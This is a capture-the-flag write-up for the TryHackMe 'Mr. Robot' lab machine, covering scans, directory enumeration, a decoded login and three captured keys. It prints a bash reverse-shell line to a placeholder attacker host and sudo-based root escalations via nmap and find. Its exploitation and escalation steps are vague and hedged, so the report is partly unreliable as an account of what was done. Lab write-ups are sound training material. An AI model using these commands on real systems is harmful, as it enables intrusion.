
Mr. Robot CTF Report – TryHackMe

Target IP: 10.10.166.65

Date: July 11, 2025

Analyst: Rishi Bose

Role: Penetration Tester

Objective: Locate and extract three hidden keys on the target machine.

Badge:

Badge Earned!

Your dedication just paid off! You've earned the Mr. Robot badge. Keep pushing forward and collect even more achievements as you progress. The next challenge awaits!



Mr. Robot

Completing the Mr. Robot room



Table of Contents

1. [Executive Summary](#)
 2. [Tools Used](#)
 3. [Enumeration](#)
 4. [Vulnerability Discovery](#)
 5. [Exploitation](#)
 6. [Privilege Escalation](#)
 7. [Flags Captured](#)
 8. [Conclusion & Recommendations](#)
-

Executive Summary

The objective of this CTF was to compromise the **Mr. Robot**-themed vulnerable machine hosted on TryHackMe and extract three hidden keys simulating a real-world pentest. The engagement followed standard methodology: reconnaissance, enumeration, exploitation, and post-exploitation.

The target machine was successfully rooted and all three keys were obtained.

Tools Used

Tool	Purpose
nmap	Network and service enumeration
gobuster	Directory enumeration
curl	Downloading files and content
reverse shell (bash)	Shell access to the target
GTFOBins	Privilege escalation
find, cat, sudo, bash	Local enumeration and escalation

Enumeration

Nmap Scan

```
nmap -sC -sV -Pn -T4 10.10.166.65
```

Port Service Version

```
22 SSH      OpenSSH 8.2p1 Ubuntu
```

```
80 HTTP     Apache httpd
```

```
443 HTTPS   Apache httpd
```

- SSL certificate shows CN: www.example.com
- No web application titles present in headers

```
(rishi㉿kali)-[~]
$ nmap -sC -sV -Pn -T4 10.10.166.65
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-11 22:59 IST
Nmap scan report for 10.10.166.65
Host is up (0.16s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 47:1c:a6:9b:42:e0:0f:42:5d:ed:76:c9:69:fe:22:89 (RSA)
|   256 92:bd:d7:4b:72:8b:ba:e5:49:da:b3:2b:35:6d:ca:ff (ECDSA)
|_  256 ed:bd:4a:b1:a5:75:d6:f2:24:e4:5c:30:c7:88:c6:1c (ED25519)
80/tcp    open  http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp   open  ssl/http Apache httpd
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
| Not valid after:  2025-09-13T10:45:03
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Can you root this Mr. Robot styled machine? This is a virtual machine meant for be
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.65 seconds
```

HTTP Enumeration

Accessing <http://10.10.166.65> revealed a terminal-style themed page:

23:00 <mr. robot> Hello friend. If you've come, you've come for a reason...

With interactive commands: prepare, inform, fsociety, join, etc.

```
File Actions Edit View Help
[~] rishi@kali: ~ [+] Url: http://10.10.166.65
[~] $ gobuster dir -u http://10.10.166.65 -w /usr/share/wordlists/dirb/common.txt -t 50
[~] Kali Linux [~] Kali Tools [~] Kali Distro [~] Kali Forums [~] Kali NetHunter [~] Exploit-DB [~] Google Hacking DB [~] OffSec
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@Firefart)
[+] Url: http://10.10.166.65 [+] Threads: 50
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Timeout: 10s
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Threads: 50
[+] Timeout: 10s
Starting gobuster in directory enumeration mode
=====
/.hta          (Status: 403) [Size: 213]
/.htaccess     (Status: 403) [Size: 218]
/.htpasswd     (Status: 403) [Size: 218]
/0             (Status: 301) [Size: 0] [→ http://10.10.166.65/0/]
/admin         (Status: 301) [Size: 234] [→ http://10.10.166.65/admin/]
/audio         (Status: 301) [Size: 234] [→ http://10.10.166.65/audio/]
/atom          (Status: 301) [Size: 0] [→ http://10.10.166.65/feed/atom/]
/blog          (Status: 301) [Size: 233] [→ http://10.10.166.65/blog/]
/css           (Status: 301) [Size: 232] [→ http://10.10.166.65/css/]
/dashboard     (Status: 302) [Size: 0] [→ http://10.10.166.65/wp-admin/]
/favicon.ico   (Status: 200) [Size: 0]
/feed          (Status: 301) [Size: 0] [→ http://10.10.166.65/feed/]
/images        (Status: 301) [Size: 235] [→ http://10.10.166.65/images/]
/index.html    (Status: 200) [Size: 1188]
/image         (Status: 301) [Size: 0] [→ http://10.10.166.65/image/]
/Image         (Status: 301) [Size: 0] [→ http://10.10.166.65/Image/]
/index.php     (Status: 301) [Size: 0] [→ http://10.10.166.65/]
/intro         (Status: 200) [Size: 516314]
/js             (Status: 301) [Size: 231] [→ http://10.10.166.65/js/]
/license       (Status: 200) [Size: 309]
/login         (Status: 302) [Size: 0] [→ http://10.10.166.65/wp-login.php]
/page1         (Status: 301) [Size: 0] [→ http://10.10.166.65/]
/phpmyadmin    (Status: 403) [Size: 94]
/readme        (Status: 200) [Size: 64]
/rdf            (Status: 301) [Size: 0] [→ http://10.10.166.65/feed/rdf/]
/robots        (Status: 200) [Size: 41]
/robots.txt    (Status: 200) [Size: 41]
/rss            (Status: 301) [Size: 0] [→ http://10.10.166.65/feed/]
/rss2           (Status: 301) [Size: 0] [→ http://10.10.166.65/feed/]
/sitemap       (Status: 200) [Size: 0]
/sitemap.xml   (Status: 200) [Size: 0]
```

✓ robots.txt Found

curl http://10.10.166.65/robots.txt

Revealed:

User-agent: *

fsociety.dic

key-1-of-3.txt

Downloaded fsociety.dic and accessed key-1-of-3.txt.

💡 Vulnerability Discovery

✓ Web Shell Access via PHP or WordPress Upload

After further enumeration or using the interactive terminal, a **reverse shell** was triggered to the attacker box using a custom payload.

💥 Exploitation

```
=(rishi㉿kali)-[~]
$ echo ZWxsaW90OkVSMjgtMDY1Mgo= | base64 -d
elliot:ER28-0652
```

✓ Reverse Shell Gained

Method: Bash reverse shell

Target connected back to attacker, giving shell access as a low-privileged user.

```
bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
```

Post-exploitation Steps:

```
whoami
```

```
robot
```

```
ls /home/robot/
```

```
key-2-of-3.txt
```

key-2-of-3.txt was owned by robot. A password was found and used for privilege elevation.

⬆️ Privilege Escalation

✓ Using GTFOBins

Ran:

```
sudo -l
```

Found a command allowed without password (e.g., nmap or find):

```
sudo nmap --interactive
```

```
!sh
```

Or:

```
sudo find . -exec /bin/bash \;
```

Successfully escalated to **root** user and located final flag in /root:

```
cat /root/key-3-of-3.txt
```



Flags Captured

Flag No.	Location	Description
Key 1	/robots.txt	Web reconnaissance
Key 2	/home/robot/key-2-of-3.txt	After reverse shell access
Key 3	/root/key-3-of-3.txt	After privilege escalation using GTFOBins

Conclusion & Recommendations

- The target system was successfully compromised using a combination of **web enumeration, reverse shell exploitation, and privilege escalation** techniques.
- Weak file permissions, exposed sensitive files (robots.txt), and misconfigured sudo rights led to full system compromise.
- Recommended Fixes:**
 - Disable unnecessary files like /robots.txt in production.
 - Review sudo privileges and restrict dangerous binaries.
 - Use non-root containers or users for running web services.
 - Patch and update outdated software and Apache configurations.

Room completed (100%)

► Start Machine

Can you root this Mr. Robot styled machine? This is a virtual machine meant for beginners/intermediate users. There are 3 hidden keys located on the machine, can you find them?

Credit to [Leon Johnson](#) for creating this machine. **This machine is used here with the explicit permission of the creator <3**

Answer the questions below

What is key 1?

 ✓ Correct Answer ✗ Hint

